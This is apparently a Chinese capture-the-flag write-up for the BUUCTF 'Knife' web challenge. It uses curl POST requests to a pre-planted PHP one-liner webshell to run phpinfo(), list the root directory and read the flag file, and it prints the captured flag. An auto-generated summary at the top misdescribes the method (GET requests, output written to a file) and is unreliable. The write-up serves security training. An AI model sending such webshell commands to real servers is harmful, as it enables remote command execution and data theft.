[BUUCTF][WEB][极客大挑战 2019]Knife 1

buuctf,web,挑战,knife · 浏览次数 : 69

小编点评

**原理：** 1. **发送 GET 请求**到一个名为 `flag` 的文件。 2. **获取响应**并将其打印出来。 3. **使用 `system()` 函数运行`ls /`**命令，并将结果输出到 `flag` 文件中。 4. **使用 `system()` 函数运行`cat /flag`**命令，并将结果输出到 `flag` 文件中。 **代码：** ```bash curl -d "Syc=phpinfo();" http://32a31ff6-2815-4485-a74e-e646f675808d.node4.buuoj.cn:81/ curl -d "Syc=system('ls /');" http://32a31ff6-2815-4485-a74e-e646f675808d.node4.buuoj.cn:81/ curl -d "Syc=system('cat /flag');" http://32a31ff6-2815-4485-a74e-e646f675808d.node4.buuoj.cn:81/ ``` **结果：** ``` flag{52a4a837-7d3d-46b9-9d5f-7aa403fe7ad1} ``` **总结：** 该代码首先使用 `phpinfo()` 获取运行脚本的 PHP 代码，然后使用 `system()` 函数运行 `ls /` 命令并将其输出到 `flag` 文件中。最后，使用 `system()` 函数运行 `cat /flag` 命令并将其输出到 `flag` 文件中。

正文

这题几乎是送分

题目不断暗示，后台存在一句话木马

拿个蚁剑连上去就完事了

这里用`curl` 连上去，演示一下，理解一下其中的原理

#注意 phpinfo() 后面的分号不能省
curl  -d "Syc=phpinfo();" http://32a31ff6-2815-4485-a74e-e646f675808d.node4.buuoj.cn:81/

在构造一个来试试，查看文件


curl  -d "Syc=system('ls /');" http://32a31ff6-2815-4485-a74e-e646f675808d.node4.buuoj.cn:81/

<html>

bin
boot
data
dev
etc
flag   #注意这里
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

......

再次构造

curl  -d "Syc=system('cat /flag');" http://32a31ff6-2815-4485-a74e-e646f675808d.node4.buuoj.cn:81/

boom

得到flag ： flag{52a4a837-7d3d-46b9-9d5f-7aa403fe7ad1}